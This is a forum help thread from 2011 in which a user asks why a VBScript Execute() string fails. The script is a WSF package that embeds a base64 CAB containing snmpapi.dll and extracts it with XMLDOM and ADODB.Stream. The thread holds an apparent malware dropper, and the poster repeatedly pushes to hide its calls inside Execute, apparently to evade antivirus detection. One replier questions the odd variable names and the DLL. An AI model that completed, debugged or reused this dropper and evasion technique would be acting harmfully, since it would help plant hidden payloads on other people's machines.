首页
社区
课程
招聘
[求助]很郁闷的 vbs问题
发表于: 2011-9-19 10:50 5957

[求助]很郁闷的 vbs问题

2011-9-19 10:50
5957
s1 = "Set xml = CreateObject(""Microsoft.XMLDOM"")" &chr(34)&"xml.load WScript.ScriptFullName"
Execute(s1)
这个语句错误。。。该怎样连接字符串好呢?

发源码吧!<package>

<cab xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="bin.base64">
TVNDRgAAAABXHQAAAAAAACwAAAAAAAAAAwEBAAEAAAAAAAAASAAAAAEAAQAAPAAAAAAAAAAA
MD+kkyAAc25tcGFwaS5kbGwAdbo4MAcdADxDS+17D1hU17XvnmHQUSGMhonEaIJkbKlGMv8Z
</cab>

<job><script language="VBScript">
s1 = "Set xml = CreateObject(""Microsoft.XMLDOM"")" & ":" & "xml.load WScript.ScriptFullName"
execute(s1)
Set stm1 = CreateObject("ADODB.Stream")
stm1.Open : stm1.Type = 1
stm1.Write xml.documentElement.getElementsByTagName("cab")(0).nodeTypedValue

</script>

</job>

</package>
这个一运行就会报错 缺少 xml.documentElement 缺少对象!

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (12)
雪    币: 228
活跃值: (115)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
2
s1 = "Set xml = CreateObject('Microsoft.XMLDOM')" &chr(34)&"xml.load WScript.ScriptFullName"
Execute(s1)
2011-9-19 11:23
0
雪    币: 677
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
s1 = "Set xml = CreateObject(""Microsoft.XMLDOM"")"&chr(58)&"xml.load WScript.ScriptFullName"
execute(s1)
2011-9-19 11:28
0
雪    币: 195
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
晕啊,楼上俩位,都出错的。不行啊。。。。
2011-9-19 11:35
0
雪    币: 677
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我的机子上没出错
2011-9-19 11:39
0
雪    币: 195
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
还没能解决。。。
2011-9-19 12:06
0
雪    币: 677
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
<job><script language="VBScript">
s1 = "Set xml = CreateObject(""Microsoft.XMLDOM"")"&":"&"xml.load WScript.ScriptFullName"
execute(s1)
</script></job>
2011-9-19 12:37
0
雪    币: 37
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
VBSCRIPT:双引号和 & 中间需要加空格吧?
2011-9-19 13:08
0
雪    币: 195
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
还是不行的,用我上面发的代码试试吧。。。
2011-9-19 13:24
0
雪    币: 677
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
为什么搞那么麻烦呢?直接这样不行吗?
<package>
<cab xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="bin.base64"> 
TVNDRgAAAABXHQAAAAAAACwAAAAAAAAAAwEBAAEAAAAAAAAASAAAAAEAAQAAPAAAAAAAAAAA
MD+kkyAAc25tcGFwaS5kbGwAdbo4MAcdADxDS+17D1hU17XvnmHQUSGMhonEaIJkbKlGMv8Z
</cab>
<job><script language="VBScript">
Set xml = CreateObject("Microsoft.XMLDOM")
xml.load WScript.ScriptFullName
Set stm1 = CreateObject("ADODB.Stream")
stm1.Open : stm1.Type = 1 
stm1.Write xml.documentElement.getElementsByTagName("cab")(0).nodeTypedValue
</script>
</job>
</package>

s1 Max_A AliceJapan。。好奇怪的变量名
snmpapi.dll?
2011-9-19 14:20
0
雪    币: 195
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
不行,要是直接这样就行,我就不求助了。。。。。。。。。。。。。。

没人会弄这个吗???哪位大侠出面啊。。。。。
2011-9-19 15:04
0
雪    币: 677
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
怎么样就算运行成功了呢?是把里面的数据base64解码生成一个AV.rmvb吗?。。。
上传的附件:
2011-9-19 15:37
0
雪    币: 195
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
s1 = "Set xml = CreateObject(""Microsoft.XMLDOM"")" & ":" & "xml.load WScript.ScriptFullName"
execute(s1)
得用execute(s1) 函数,把上面的代码放到s1变量里。难道真没有大侠能解开这个问题吗。。。。?????????????
2011-9-19 16:35
0
游客
登录 | 注册 方可回帖
返回
//